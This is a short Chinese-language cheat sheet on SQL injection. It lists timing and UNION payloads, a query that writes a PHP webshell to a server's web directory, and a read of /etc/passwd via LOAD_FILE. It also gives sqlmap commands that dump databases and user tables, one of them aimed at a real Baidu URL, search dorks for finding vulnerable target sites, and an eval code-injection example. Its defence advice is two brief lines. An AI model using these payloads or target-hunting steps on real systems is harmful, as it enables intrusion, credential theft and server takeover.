一、SQL注入攻击
1.Timing Attack
通过判断本次查询时间,验证是否存在注入漏洞
union select benchmark(100000,encode(‘hello’,‘goodbye’));
(1)如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件:
Union All SELECT table_name, table_type, engine FROM information_schema.tables WHEREtable_schema = ‘mysql’ ORDER BY table_name DESC INTO OUTFILE’/path/location/on/server/www/schema.txt’
(2)此外,通过Dump文件的方法,还可以写入一个webshell:
1170 UNION SELECT “<? system($_REQUEST['cmd']); ?>”,2,3,4 INTO OUTFILE"/var/www/html/temp/c.php" --”
2.获取数据版本,如果对会返回true
and substring(@@version,1,1)=4
3.union select 1,1, LOAD_FILE(’/etc/passwd’),1,1;
4.攻击存储过程
5.SQLColumn Truncation攻击,数据库默认设置,导致发生插入数据截断,
例如:插入数据{“admin大量空格abc”+“newpasswd”};一旦被截断成功插入数据库则数据库中会新增用户admin,newpasswd,成功修改了用户密码
二、SQLMAP注入工具基本命令
1.基本注入检验
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1”
2.如果网站需要cookie
sqlmap -u “http://research.baidu.com/People/index-view?id=121” --cookie=“ID=1234”
3.获取所有数据库
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” --dbs --batch
4.获取当前数据库
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” --current-db --batch
5.获取当前数据库中的所有数据表
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” -D acuart --tables --batch
6.获取当前数据库,某个数据表,所有字段信息
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” -D acuart -T users --columns --batch
7.获取当前数据库,某个数据表users 所有数据
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” -D acuart --dump -T users --batch
8.获取当前数据库,某个数据表users 某个字段的所有数据
sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1” -D acuart -T users -C “name,uname” --dump --batch
备注:
–batch 全部使用默认,不需要用户输入
–dump 如果换成了 --dump-all则导出全部的数据
三、寻找目标网站
输入google,或baidu查询语句:inurl:“news.php?id=”。可以加上一些后缀来限定那个国家的。
四、如何防御
1.代码使用预编译sql语句,或者使用存储过程
2.检查用户输入的数据类型、数据格式等:例如id必须是整形,不许是字符+手机号格式检查+邮箱号格式检查
数据与代码分离原则
五、补充,其它注入攻击方式
1.XML注入攻击,类似,用户构造恶意语句
2.代码注入
源代码如下:
“$myvar = “varname”;
$x = $_GET[‘arg’];
eval("$myvar = $x;");”
用户
/index.php?arg=1; phpinfo()